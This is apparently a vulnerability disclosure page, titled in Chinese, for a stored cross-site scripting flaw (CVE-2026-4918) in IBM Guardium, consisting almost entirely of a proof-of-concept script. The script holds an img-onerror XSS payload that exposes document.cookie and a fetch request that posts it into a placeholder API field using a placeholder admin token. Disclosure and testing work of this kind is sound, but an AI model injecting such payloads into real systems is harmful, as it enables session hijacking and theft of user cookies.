CVE-2026-4918 IBM Guardium存储型XSS漏洞

<!-- Proof of Concept (PoC) for CVE-2026-4918 Description: Simulates an administrator injecting a stored XSS payload. --> <script> // Malicious payload to be injected into a vulnerable field (e.g., description, name) var xss_payload = '<img src=x onerror=alert(\'CVE-2026-4918: XSS Executed - Cookie: \' + document.cookie)>'; // Simulated API request to inject the payload // Note: This requires a valid administrative session cookie fetch('/api/vulnerable_endpoint', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ADMIN_TOKEN>' }, body: JSON.stringify({ 'field_name': xss_payload, 'id': 'target_id' }) }).then(response => { if(response.ok) { console.log('[+] Payload injected successfully.'); } else { console.log('[-] Injection failed.'); } }); </script>